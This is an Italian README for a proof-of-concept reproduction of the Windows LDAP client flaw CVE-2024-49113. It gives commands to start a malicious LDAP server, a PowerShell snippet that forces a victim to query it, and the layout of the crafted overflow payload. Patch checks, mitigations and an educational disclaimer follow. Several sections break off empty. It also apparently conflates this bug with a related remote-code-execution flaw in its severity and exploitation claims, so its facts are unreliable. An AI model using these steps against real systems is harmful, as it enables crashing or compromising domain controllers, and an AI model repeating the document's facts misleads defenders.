
Riproduzione di cve-2024-49113-ldap_nightmare_reproduction
| Campo | Valore |
|---|
| CVE | CVE-2024-49113 |
| Alias | LDAP Nightmare |
| CVSS 3.1 | 9.8 — CRITICO |
| CWE | CWE-122 — Overflow del buffer basato su heap |
| Scoperta | SafeBreach (PoC pubblicato a gennaio 2025) |
| Sfruttamento | Confermato sfruttamento attivo in ambienti reali |
| Patch | Patch Tuesday di Microsoft di dicembre 2024 (KB5048685 / KB5048652) |
CVE-2024-49113 è una vulnerabilità critica di overflow del buffer basato su heap nella libreria client LDAP di Windows (wldap32.dll). Un attaccante remoto non autenticato può attivare la vulnerabilità inviando una risposta LDAP appositamente predisposta a una macchina Windows vittima che effettua una query LDAP (ad esempio, un controller di dominio che esegue ricerche nella directory).
Poiché i controller di dominio Windows inviano regolarmente query LDAP ad altri controller di dominio, server membri e server di catalogo globale, questa falla è particolarmente pericolosa negli ambienti Active Directory. Uno sfruttamento riuscito consente di ottenere l'esecuzione di codice in remoto nel contesto dell'account Sistema locale (sui controller di dominio), dando all'attaccante il controllo completo del server preso di mira.
La prova di concerto pubblica (soprannominata "LDAP Nightmare") è stata rilasciata da SafeBreach a gennaio 2025, dopo che Microsoft ha distribuito le correzioni con il Patch Tuesday di dicembre 2024.
La vulnerabilità risiede in wldap32.dll — l'implementazione Windows del client Lightweight Directory Access Protocol (LDAP) come definito nella RFC 4511.
Quando un client LDAP riceve una risposta Search Result Entry (Voce del risultato di ricerca), la libreria analizza le Protocol Data Unit (PDU) del messaggio LDAP in un ciclo di decodifica BER (Basic Encoding Rules). Un difetto nella logica di allocazione della memoria heap durante l'analisi dei valori degli attributi LDAP fa sì che il decodificatore scriva dati oltre i limiti di un buffer allocato nello heap.
Nello specifico:
Tutte le edizioni supportate di Windows Server e Windows Client sono vulnerabili prima degli aggiornamenti di sicurezza del 10 dicembre 2024:
Gli aggiornamenti del Patch Tuesday di dicembre 2024 che risolvono questa CVE sono:
┌──────────────────┐ LDAP Query ┌─────────────────────┐
│ Victim Host │ ──────────────────────────▶ │ Attacker LDAP │
│ (Windows DC) │ │ Server (This PoC) │
│ │ ◀────────────────────────── │ │
│ wldap32.dll │ Crafted LDAP Response │ exploit.py │
│ overflowed │ (heap overflow payload) │ port 389 │
└──────────────────┘ └─────────────────────┘
Sulla vittima, controllare le KB installate:
Get-HotFix | Where-Object { $_.HotFixID -match "KB5048685|KB5048652" }
Se non viene restituito alcun risultato, il sistema non è patchato ed è vulnerabile.
Sulla macchina dell'attaccante, eseguire questa PoC:
python exploit.py --listen-ip 192.168.1.100 --listen-port 389
Dove 192.168.1.100 è l'indirizzo IP dell'attaccante.
Nota: su Linux, il binding alla porta 389 richiede root (sudo). Su Windows, potrebbero essere richiesti privilegi di amministratore.
Dalla macchina vittima (PowerShell, come amministratore):
# Force an LDAP search against the attacker server
$ldapPath = "LDAP://192.168.1.100/DC=evil,DC=local"
$searcher = New-Object DirectoryServices.DirectorySearcher($ldapPath)
$searcher.Filter = "(objectClass=*)"
$searcher.SearchRoot = $null
try {
$results = $searcher.FindAll()
} catch {
Write-Host "Connection attempted — check the PoC server for crash details"
}
In alternativa, usare ldp.exe (incluso con Windows Server / RSAT):
DC=evil,DC=local[*] Sending malicious search result entry... e invierà la risposta predisposta.lsass.exe della vittima o il processo client LDAP andrà in crash con una violazione di accesso (0xC0000005), oppure il sistema potrebbe andare in BSOD.Viene fornito un Dockerfile per eseguire la PoC in un ambiente isolato:
docker build -t ldap-nightmare .
docker run --rm -p 389:389 --cap-add=NET_ADMIN ldap-nightmare
La exploit.py inclusa implementa:
--listen-ip, --listen-port, --payload-size).| Offset | Campo | Valore |
|---|---|---|
| 0x00 | Tag del messaggio LDAP (0x30) | Sequenza |
| 0x01–0x02 | Lunghezza totale (predisposta) | Il valore grande attiva l'overflow |
| 0x03 | ProtocolOp (0x64) | Voce del risultato di ricerca |
| 0x04–0x0E | Campi del risultato LDAP | Intestazione standard |
| 0x0F+ | Elenco attributi | Trigger dell'overflow (length = 0xFFFF) |
# Start the malicious server
sudo python exploit.py --listen-ip 0.0.0.0 --listen-port 389
# In another terminal, watch for connections
tcpdump -i any port 389 -X
Installare gli aggiornamenti del Patch Tuesday del 10 dicembre 2024:
Se la patch non può essere applicata immediatamente:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LDAPServerIntegrity" -Value 2 -Type DWord
Restart-Service NTDS
wevtutil qe "Windows PowerShell" /f:text /q:"*[System[EventID=1000]]"
| Fonte | URL |
|---|---|
| Microsoft Security Response Center | MSRC CVE-2024-49113 |
| SafeBreach (Scoperta originale) | SafeBreach Blog — LDAP Nightmare |
| NVD | NVD CVE-2024-49113 |
| CWE-122 | Overflow del buffer basato su heap |
| RFC 4511 | Protocollo LDAPv3 |
| Patch Tuesday di dicembre 2024 | Note di rilascio Microsoft |
Questo materiale è fornito esclusivamente a scopo didattico e per test di sicurezza autorizzati. Lo sfruttamento non autorizzato di CVE-2024-49113 contro sistemi senza esplicito permesso è illegale. Gli autori non sono responsabili di qualsiasi uso improprio di queste informazioni. Ottenere sempre un'autorizzazione scritta prima di testare qualsiasi sistema.